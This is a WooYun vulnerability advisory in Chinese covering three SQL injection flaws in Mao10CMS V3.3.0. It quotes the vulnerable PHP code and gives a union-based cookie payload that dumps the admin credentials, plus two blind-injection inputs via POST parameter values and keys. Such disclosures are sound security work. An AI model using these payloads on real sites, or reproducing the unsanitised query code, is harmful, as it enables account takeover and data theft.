当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0106995

漏洞标题:Mao10CMS V3.3.0 3处sql注入打包

相关厂商:mao10.com

漏洞作者: %270x5c

提交时间:2015-04-14 15:58

修复时间:2015-07-15 16:10

公开时间:2015-07-15 16:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-14: 细节已通知厂商并且等待厂商处理中
2015-04-16: 厂商已经确认,细节仅向厂商公开
2015-04-19: 细节向第三方安全合作伙伴开放
2015-06-10: 细节向核心白帽子及相关领域专家公开
2015-06-20: 细节向普通白帽子公开
2015-06-30: 细节向实习白帽子公开
2015-07-15: 细节向公众公开

简要描述:

rt。

详细说明:

#1
看到这个漏洞http://wooyun.org/bugs/wooyun-2010-090196
看看官方怎么修补的
/Application/User/Controller/RegisterController.class.php

$user_name = mc_magic_in(mc_remove_html($_POST['user_name'],'all'));


有了过滤。看到 mc_user_id()

function mc_user_id() {
$user_name = cookie('user_name');
$page_id = M('meta')->where("meta_key='user_name' AND meta_value='".$user_name."' AND type='user'")->getField('page_id');
$user_pass_true = mc_get_meta($page_id,'user_pass',true,'user');
if(cookie('user_name') && cookie('user_pass') && cookie('user_pass') == $user_pass_true) {
return $page_id;
}
}


由 session变成了cookie 而且没有过滤
那么我们就可以直接赋值进行注入了
exp:

user_name=' or meta_value='admin') and 1=2 union select concat((select concat((SELECT meta_value from mc_meta where meta_key='user_name' and page_id=1),0x5c,(SELECT meta_value from mc_meta where meta_key='user_pass' and page_id=1))),'\') union select 1',0x23)#
user_pass=1


火狐修改cookie

1.png


在源码中返回了 管理员账户密码。
#2
/Application/Home/Controller/PerformController.class.php

public function add_cart($id,$number){

if(is_numeric($id) && is_numeric($number) && $number > 0) {
if(mc_user_id()) {
if($_POST['parameter']) {
$parameter = $_POST['parameter'];
$kucun_now = array();
foreach($parameter as $key=>$val) {

$kucun = M('meta')->where("page_id='$id' AND meta_key='$val' AND type ='kucun'")->getField('meta_value');


可以看到 parameter 数组的 val木有过滤,
/index.php?m=home&c=perform&a=add_cart&id=25&number=1
post:
parameter[]=xxx'

2.png


单引号带入成功,由于默认没有错误提示,所以只能盲注。
#3
/Application/Home/Controller/PerformController.class.php

if($_POST['parameter']) {
$parameter = $_POST['parameter'];
$cart = M('action')->where("page_id='$id' AND user_id='".mc_user_id()."' AND action_key='cart'")->getField('id',true);
if($cart) {
$par_false = 0;
foreach($cart as $cart_id) {
$par_old = M('action')->where("page_id='$cart_id' AND user_id='".mc_user_id()."'")->getField('id',true);
if($par_old) {
$par_count = 0;
foreach($parameter as $key=>$val) {
$par_name = M('option')->where("id='$key'")->getField('meta_value');
.....


foreach($parameter as $key=>$val)后
where("id='$key'") 对于 数组的键名却没有过滤,注入产生
/index.php?m=home&c=perform&a=add_cart&id=25&number=1
post:
parameter[test']=kucun

3.png


单引号进来了。
同2,盲注。

漏洞证明:

1.png

修复方案:

加强过滤。

版权声明:转载请注明来源 %270x5c@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2015-04-16 16:08

厂商回复:

感谢反馈

最新状态:

暂无